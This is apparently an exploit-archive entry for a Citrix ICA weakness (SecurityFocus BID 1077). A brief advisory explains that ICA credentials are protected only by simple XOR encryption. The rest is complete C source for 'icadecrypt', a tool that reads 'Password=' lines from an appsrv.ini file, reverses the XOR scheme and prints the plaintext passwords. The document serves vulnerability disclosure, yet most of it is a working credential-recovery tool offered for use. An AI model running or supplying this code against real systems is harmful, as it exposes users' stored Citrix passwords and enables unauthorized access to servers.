110 lines
No EOL
2.2 KiB
C
110 lines
No EOL
2.2 KiB
C
// source: https://www.securityfocus.com/bid/1077/info
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The ICA protocol uses a simple XOR-based encryption algorthm to protect user credentials while stored or in transit. This encryption can be easily broken, meaning that anyone sniffing the connection can obtain user access to the server.
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The ICA protocol, developed by Citrix, is used in Citrix server products such as WinFrame and MetaFrame and possibly others, and in Citrix and third party clients for those products.
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/*
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icadecrypt.c
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Decrypt stored Citrix ICA passwords (in appsrv.ini).
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Dug Song <dugsong@monkey.org>
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*/
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#include <sys/types.h>
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#include <netinet/in.h>
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#include <stdio.h>
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#include <string.h>
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#include <ctype.h>
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int
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hex_decode(char *src, u_char *dst, int outsize)
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{
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char *p, *pe;
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u_char *q, *qe, ch, cl;
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pe = src + strlen(src);
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qe = dst + outsize;
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for (p = src, q = dst; p < pe && q < qe && isxdigit((int)*p); p += 2) {
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ch = tolower(p[0]);
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cl = tolower(p[1]);
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if ((ch >= '0') && (ch <= '9')) ch -= '0';
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else if ((ch >= 'a') && (ch <= 'f')) ch -= 'a' - 10;
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else return (-1);
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if ((cl >= '0') && (cl <= '9')) cl -= '0';
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else if ((cl >= 'a') && (cl <= 'f')) cl -= 'a' - 10;
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else return (-1);
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*q++ = (ch << 4) | cl;
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}
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return (q - dst);
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}
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int
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ica_decrypt(u_char *pass, int len)
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{
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u_short i;
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u_char *p, key;
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if (len < 4)
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return (0);
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i = ntohs(*(u_short *)pass);
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if (i != len - 2)
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return (0);
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key = pass[2];
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p = pass + 3;
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for (i -= 2; i > 0; i--)
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p[i] = p[i - 1] ^ p[i] ^ key;
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p[0] ^= (key | 'C');
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i = len - 3;
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memmove(pass, pass + 3, i);
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pass[i] = '\0';
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return (1);
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}
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void
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usage(void)
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{
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fprintf(stderr, "Usage: icadecrypt <file>\n");
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exit(1);
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}
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int
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main(int argc, char *argv[])
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{
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FILE *f;
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u_char line[1024], pass[128];
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int len;
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if (argc != 2 || *argv[1] == '-')
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usage();
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if ((f = fopen(argv[1], "r")) == NULL) {
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perror("fopen");
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exit(1);
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}
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while (fgets(line, sizeof(line), f) != NULL) {
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if (strncmp(line, "Password=", 9) == 0) {
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len = hex_decode(line + 9, pass, sizeof(pass));
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if (ica_decrypt(pass, len))
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printf("; icadecrypt: [%s]\n", pass);
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}
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printf("%s", line);
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}
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fclose(f);
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exit(0);
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}
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/* 5000. */ |